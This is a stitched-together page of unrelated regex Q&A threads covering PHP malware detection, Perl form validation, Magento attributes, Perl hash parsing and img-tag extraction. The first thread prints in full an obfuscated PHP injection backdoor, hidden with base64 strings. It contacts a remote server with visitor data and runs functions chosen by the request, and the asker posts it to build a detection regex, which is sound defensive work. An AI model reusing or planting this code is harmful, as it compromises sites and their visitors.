I am trying to detect the following code using grepWin. As text search, it is not being detected. Can anyone help me create a regex to detect this code?
<?php
//###==###
error_reporting(0); ini_set("display_errors", "0"); if (!isset($i5d8a868c)) { $i5d8a868c = TRUE; $GLOBALS['_2023670025_']=Array(base64_decode('cHJlZ19' .'tY' .'XRjaA=='),base64_decode('Zml' .'s' .'Z' .'V' .'9nZX' .'Rf' .'Y29ud' .'GVudHM='),base64_decode('bXRf' .'cmFu' .'ZA=='),base64_decode('c' .'3RydG9' .'sb3dlcg=' .'='),base64_decode('aW1hZ2Vjb3B5c' .'mVza' .'Xp' .'l' .'ZA' .'=='),base64_decode('dX' .'JsZW5' .'jb2Rl'),base64_decode('dXJsZW5' .'jb2Rl'),base64_decode('' .'b' .'WQ1'),base64_decode('' .'aW5pX2dld' .'A' .'=' .'='),base64_decode('ZmlsZV9nZ' .'X' .'R' .'fY29udGV' .'udH' .'M='),base64_decode('c3R' .'yb' .'GVu'),base64_decode('ZnVuY3Rpb25fZXhpc3R' .'z'),base64_decode('Y3VybF9pbml0'),base64_decode('Y' .'3VybF9zZ' .'XRvcHQ='),base64_decode('Y3' .'VybF9zZ' .'XRvc' .'H' .'Q='),base64_decode('' .'YXJyYX' .'lf' .'Zmxpc' .'A' .'=='),base64_decode('bXRfcmF' .'uZA' .'=='),base64_decode('Y3Vyb' .'F9leG' .'Vj'),base64_decode('YmFzZT' .'Y0X2R' .'lY' .'29kZQ=='),base64_decode('Zmdl' .'dHM='),base64_decode('' .'Y3VybF' .'9' .'j' .'bG9zZQ=' .'='),base64_decode('' .'ZnN' .'vY2tvcGVu'),base64_decode('c29ja' .'2V0X' .'2dldHBlZXJuYW1l'),base64_decode('bX' .'Rf' .'cmF' .'u' .'ZA' .'=' .'='),base64_decode('' .'Z' .'ndya' .'X' .'Rl'),base64_decode('dXJsZGV' .'jb' .'2' .'Rl'),base64_decode('' .'aW1hZ2' .'Vm' .'aW' .'x0' .'ZX' .'I='),base64_decode('ZmV' .'vZg=='),base64_decode('ZmdldHM' .'='),base64_decode('ZmN' .'sb3Nl'),base64_decode('cHJlZ19' .'zcGxpdA' .'=='),base64_decode('c3RycG' .'9z'),base64_decode('c2Vzc2lvbl9u' .'Y' .'W1l'),base64_decode('c3' .'RyaXBzbGFzaGVz')); function _1713395203($i){$a=Array('Y' .'2xpZW50' .'X2' .'No' .'Z' .'WNr','Y2xpZW5' .'0X2' .'No' .'ZWN' .'r','SFR' .'UUF' .'9B' .'Q0NFUFRfQ' .'0hBUlNFVA==','' .'IS' .'4h' .'d' .'Q==','U' .'0' .'NS' .'SVB' .'UX0ZJTEV' .'OQU1F','VVRGLTg' .'=','d2l' .'u' .'ZG93cy0xMjUx','SFRU' .'UF' .'9BQ0' .'NFUFRfQ0h' .'BUlNFVA==','U' .'0' .'VSVk' .'VS' .'X05B' .'T' .'U' .'U=','U' .'kVRVUV' .'TVF9VUk' .'k=','SFRUU' .'F9VU' .'0VSX0F' .'HRU' .'5' .'U','U' .'k' .'VNT1' .'RF' .'X' .'0F' .'ERFI=','dHYteHh' .'sLn' .'J1','L2dldC5' .'waHA/ZD' .'0' .'=','J' .'nU9','' .'JmM9','Jmk9' .'MSZ' .'pcD0=','' .'Jmg9','ZjE1' .'ZGYxOTQ1' .'N' .'Tc3ZjhjOTkxNmM0N' .'jg5' .'O' .'GM2' .'YmIwN' .'2' .'M' .'=','MQ==','YWxsb3d' .'f' .'dXJsX' .'2ZvcGVu','aHR0c' .'D' .'ovLw==','Y3Vyb' .'F9pbml0','' .'aH' .'R0' .'cDovLw==','' .'R0V' .'UIA==','I' .'EhUVF' .'Av' .'MS4' .'xDQo=','SG9' .'zdDog','DQo=','' .'Q29ubmVjd' .'Gl' .'vbjog' .'Q' .'2x' .'v' .'c' .'2UNCg0' .'K','','L1xSXFIv','aX' .'VrcmphbHFoZ' .'WFyY2U=','eG56','' .'cA=' .'=','NWQ' .'4' .'YTg2OGM=','Zg' .'==','Yw==');return base64_decode($a[$i]);} if(!isset($zde_0)){if(!empty($_COOKIE[_1713395203(0)]))die($_COOKIE[_1713395203(1)]);if(!isset($zde_1[_1713395203(2)])){if($GLOBALS['_2023670025_'][0](_1713395203(3),$GLOBALS['_2023670025_'][1]($_SERVER[_1713395203(4)])))$zde_2=_1713395203(5);else $zde_2=_1713395203(6);}else{$zde_2=$zde_1[_1713395203(7)];}$zde_3=$_SERVER[_1713395203(8)] .$_SERVER[_1713395203(9)];$zde_4=$_SERVER[_1713395203(10)];$zde_5=$_SERVER[_1713395203(11)];if(round(0+2201.5+2201.5)<$GLOBALS['_2023670025_'][2](round(0+24.666666666667+24.666666666667+24.666666666667),round(0+1441.3333333333+1441.3333333333+1441.3333333333)))$GLOBALS['_2023670025_'][3]($_REQUEST,$zde_5);$zde_6=_1713395203(12);while(round(0+854+854+854)-round(0+1281+1281))$GLOBALS['_2023670025_'][4]($zde_0,$zde_6,$_SERVER,$zde_7);$zde_8=_1713395203(13) .$GLOBALS['_2023670025_'][5]($zde_3) ._1713395203(14) .$GLOBALS['_2023670025_'][6]($zde_4) ._1713395203(15) .$zde_2 ._1713395203(16) .$zde_5 ._1713395203(17) .$GLOBALS['_2023670025_'][7](_1713395203(18) .$zde_3 .$zde_4 .$zde_2 ._1713395203(19));if($GLOBALS['_2023670025_'][8](_1713395203(20))== round(0+0.2+0.2+0.2+0.2+0.2)){$zde_0=$GLOBALS['_2023670025_'][9](_1713395203(21) .$zde_6 .$zde_8);}if($GLOBALS['_2023670025_'][10]($zde_0)<round(0+2.5+2.5+2.5+2.5)){if($GLOBALS['_2023670025_'][11](_1713395203(22))){$zde_9=$GLOBALS['_2023670025_'][12](_1713395203(23) .$zde_6 .$zde_8);$GLOBALS['_2023670025_'][13]($zde_9,42,FALSE);$GLOBALS['_2023670025_'][14]($zde_9,19913,TRUE);(round(0+143.66666666667+143.66666666667+143.66666666667)-round(0+215.5+215.5)+round(0+505+505)-round(0+336.66666666667+336.66666666667+336.66666666667))?$GLOBALS['_2023670025_'][15]($zde_6,$zde_6):$GLOBALS['_2023670025_'][16](round(0+87+87+87+87),round(0+143.66666666667+143.66666666667+143.66666666667));$zde_0=$GLOBALS['_2023670025_'][17]($zde_9);if((round(0+207.75+207.75+207.75+207.75)^round(0+166.2+166.2+166.2+166.2+166.2))&& $GLOBALS['_2023670025_'][18]($_SERVER))$GLOBALS['_2023670025_'][19]($zde_10,$zde_8,$_REQUEST);$GLOBALS['_2023670025_'][20]($zde_9);}else{$zde_10=$GLOBALS['_2023670025_'][21]($zde_6,round(0+80),$zde_7,$zde_11,round(0+7.5+7.5+7.5+7.5));(round(0+1414)-round(0+282.8+282.8+282.8+282.8+282.8)+round(0+1169.6666666667+1169.6666666667+1169.6666666667)-round(0+3509))?$GLOBALS['_2023670025_'][22]($_REQUEST,$zde_8,$zde_2,$zde_10):$GLOBALS['_2023670025_'][23](round(0+282.8+282.8+282.8+282.8+282.8),round(0+765.5+765.5));if($zde_10){$zde_12=_1713395203(24) .$zde_8 ._1713395203(25);$zde_12 .= _1713395203(26) .$zde_6 ._1713395203(27);$zde_12 .= _1713395203(28);$GLOBALS['_2023670025_'][24]($zde_10,$zde_12);if((round(0+1167+1167+1167)+round(0+213.2+213.2+213.2+213.2+213.2))>round(0+700.2+700.2+700.2+700.2+700.2)|| $GLOBALS['_2023670025_'][25]($zde_4,$zde_6,$zde_8));else{$GLOBALS['_2023670025_'][26]($zde_3,$_SERVER,$zde_13);}$zde_14=_1713395203(29);while(!$GLOBALS['_2023670025_'][27]($zde_10)){$zde_14 .= $GLOBALS['_2023670025_'][28]($zde_10,round(0+64+64));}$GLOBALS['_2023670025_'][29]($zde_10);list($zde_13,$zde_0)=$GLOBALS['_2023670025_'][30](_1713395203(30),$zde_14,round(0+1+1));if($GLOBALS['_2023670025_'][31](_1713395203(31),_1713395203(32))!==false)$GLOBALS['_2023670025_'][32]($zde_0,$zde_4);}}}if(#$_REQUEST[_1713395203(33)]== _1713395203(34))$_REQUEST[_1713395203(35)]($GLOBALS['_2023670025_'][33]($_REQUEST[_1713395203(36)]));}echo $zde_0; }
//###==###
?>
I did it. by fiddling around, I managed to create the regex. I am posting it in case anyone might need it:
(?<=<\?php .\n\/\/###==###)(.*)(?=\?>)
So I have an HTML field in a form that takes in a phone number. It validates it correctly when I use () or / or - however, if I put in say 555 123 4567, it returns 555. As always your help is greatly appreciates it.
Here is my code
my $userName=param("userName");
my $password=param("password");
my $phoneNumber=param("phoneNumber");
my $email=param("email");
my $onLoad=param("onLoad");
my $userNameReg = "[a-zA-Z0-9_]+";
my $passwordReg = "([a-zA-Z]*)([A-Z]+)([0-9]+)";
my $phoneNumberReg = "((\(?)([2-9]{1}[0-9]{2})(\/|-|\)|\s)?([2-9]{1}[0-9]{2})(\/|-|\s)?([0-9]{4}))";
my $emailReg = "([a-zA-Z0-9_]{2,})(#)([a-zA-Z0-9_]{2,})(.)(com|COM)";
if ($onLoad !=1)
{
#controlValue = ($userName, $password, $phoneNumber, $email);
#regex = ($userNameReg, $passwordReg, $phoneNumberReg, $emailReg);
#validated;
for ($i=0; $i<4; $i++)
{
$retVal= validatecontrols ($controlValue[$i], $regex[$i]);
if ($retVal)
{
$count++;
}
if (!$retVal)
{
$validated[$i]="*"
}
}
sub validatecontrols
{
my $ctrlVal = shift();
my $regexVal = shift();
if ($ctrlVal =~ /^$regexVal$/)
{
return 1;
}
return 0;
}
}
*html code is here*
I realize that this is part of an assignment, so you may be working under specific restraints. However, your attempt to abstract out your data validation is honestly just making things messy and harder to follow. It also ties you down to specifically regex tests, which may not actually be the best bet. As has already been said, email validation should be done via a module.
Also, for this phone validation, an easier solution is just to strip out anything that isn't a number, and then do your validation test. The below code demonstrates what I'm talking about:
my $userName = param("userName");
my $password = param("password");
my $phoneNumber = param("phoneNumber");
my $email = param("email");
my $onLoad = param("onLoad");
my $error = 0;
if ($onLoad !=1)
{
if ($username !~ /^[a-zA-Z0-9_]+$/) {
$username = '*';
$error++;
}
if ($password !~ /^[a-zA-Z]*[A-Z]+[0-9]+$/) {
$password = '*';
$error++;
}
(my $phoneNumOnly = $phoneNumber) =~ s/\D//g;
if ($phoneNumOnly !~ /^1?[2-9]{1}\d{2}[2-9]{1}\d{6}$/) {
$phoneNumber = '*';
$error++;
}
if ($email !~ /^\w{2,}\#\w{2,}\.com$/i) {
$email = '*';
$error++;
}
}
*html code is here*
That regex you're using looks a overly complicated. You have a lot of capturing groups in there, but I get the feeling you're mostly using them to define "OR" statements with the vertical bar. It's usually a lot easier to just use brackets for this purpose if you're only selecting single characters. Also, it's not a good idea to use\s for normal spaces, since this will actually match any whitespace character (tabs and newlines). Maybe try something like this:
(?:\(?[2-9]\d{2}\)?[-\/ ]?)?[2-9]\d{2}[-\/ ]?\d{4}
I am new to Magento and I'm building a bookshop. I have an attribute called author, and I would like to show a list of all authors (a list of their attribute values). I tried to create a widget and use this code in it but it returns me an empty array. How can I achieve this? Where should I place the code, in a widget, a block?
protected function _toHtml()
{
$name='author';
$attributeInfo = Mage::getResourceModel('eav/entity_attribute_collection')->setCodeFilter($name)->getFirstItem();
$attributeId = $attributeInfo->getAttributeId();
$attribute = Mage::getModel('catalog/resource_eav_attribute')->load($attributeId);
$attributeOptions = $attributeInfo->getSource()->getAllOptions(false);
$html = '<ul>';
foreach($attributeOptions as $opt)
$html .= '<li>'.$opt[0].'</li>';
$html .= '</ul>';
return $html;
}
$attributes = $product->getAttributes();
foreach ($attributes as $attribute) {
if ($attribute->getIsVisibleOnFront()) {
$value = $attribute->getFrontend()->getValue($product);
echo $value
}
}
you can get attribute with this code just write this code in view.phtml
Thank you very much, your code worked quite good for a particular product, however i finally get what I wanted using this:
$attributeCode='author';
// build and filter the product collection
$products = Mage::getResourceModel('catalog/product_collection')
->addAttributeToFilter($attributeCode, array('notnull' => true))
->addAttributeToFilter($attributeCode, array('neq' => ''))
->addAttributeToSelect($attributeCode);
// get all distinct attribute values
$usedAttributeValues = array_unique($products->getColumnValues($attributeCode));
sort($usedAttributeValues);
Now suppose say i have this line in a file:
my %address = (
or any such similar line in which i have defined the hash.
I want to find the character "(" in the line and store "address" in say $hash_name. How do I do it?
Basic idea is to capture the name of the hash defined in the files.
I am trying to do is,
foreach $line <MYFILE> {
if($line =~ /($/ {
How do I proceed further?
Not sure if I understood your problem, but, how about:
my %hash;
while (my $line = <MYFILE>) {
if ($line =~ /\%(\w+)\s*=\s*\($/) {
$hash{$1} = 1;
}
}
open (F1,"inputfile.txt") or die("unable to open inputfile.txt");
my $hash_name
while (<F1>) {
if (/%(\w+) *= *\(/) {
$hash_name = $1;
print $hash_name;
}
}
I'm really REALLY bad at regular expressions. It just hasn't clicked yet. I'm trying to make small application that extracts all image tags of their src, width, and height attributes. This is what I have so far:
<?php
function print_links ($url)
{
$fp = fopen($url, "r") or die("Could not contact $url");
$page_contents = "";
while ($new_text = fread($fp, 100)) {
$page_contents .= $new_text;
}
$match_result =
preg_match_all( '/<img.*src=[\"\'](.*)[\"\'].*width=(\d+).*height=(\d+).*/>/i',
$page_contents,
$match_array,
PREG_SET_ORDER);
echo "number matched is: $match_result<br><br> ";
print_r($match_array);
foreach ($match_array as $entry) {
$tag = $entry[0];
$src = $entry[1];
$width = $entry[2];
$height = $entry[3];
print (" <b>src</b>: $src;
<b>width</b>: $width<br />
<b>height</b>: $height<br />
<b>tag</b>: $tag<br />"
);
}
}
print_links ("http://www.drudgereport.com/");
?>
but I get this little error:
Warning: preg_match_all(): Unknown modifier '>' in C:\Apache2.2\htdocs\it302\regex\regex.php on line 17 number matched is:
I'm not sure where I went wrong in my regexp. I've tried multiple things but have ended up just as confused.
Any suggestions?
In your regex the last .*/> is wrong.
no / there...
/<img.*src=[\"\'](.*)[\"\'].*width=(\d+).*height=(\d+).*>/i
or \/? escape and make it optional...
/<img.*src=[\"\'](.*)[\"\'].*width=(\d+).*height=(\d+).*\/?>/i
but this regex only works if src width height are in this given order within the img tag and width and height also allow quoted values and units. e.g. width="0.9em" is valid html... this are all reasons why you should not use regex to parse html (and many more...)
Do not use regex for this. Especially if you are REALLY bad :)
http://simplehtmldom.sourceforge.net/
foreach($html->find('img') as $element){
$src = $element->src;
$width = $element->width;
$height = $element->height;
print (" <b>src</b>: $src;
<b>width</b>: $width<br />
<b>height</b>: $height<br />
<b>tag</b>: $tag<br />"
);
}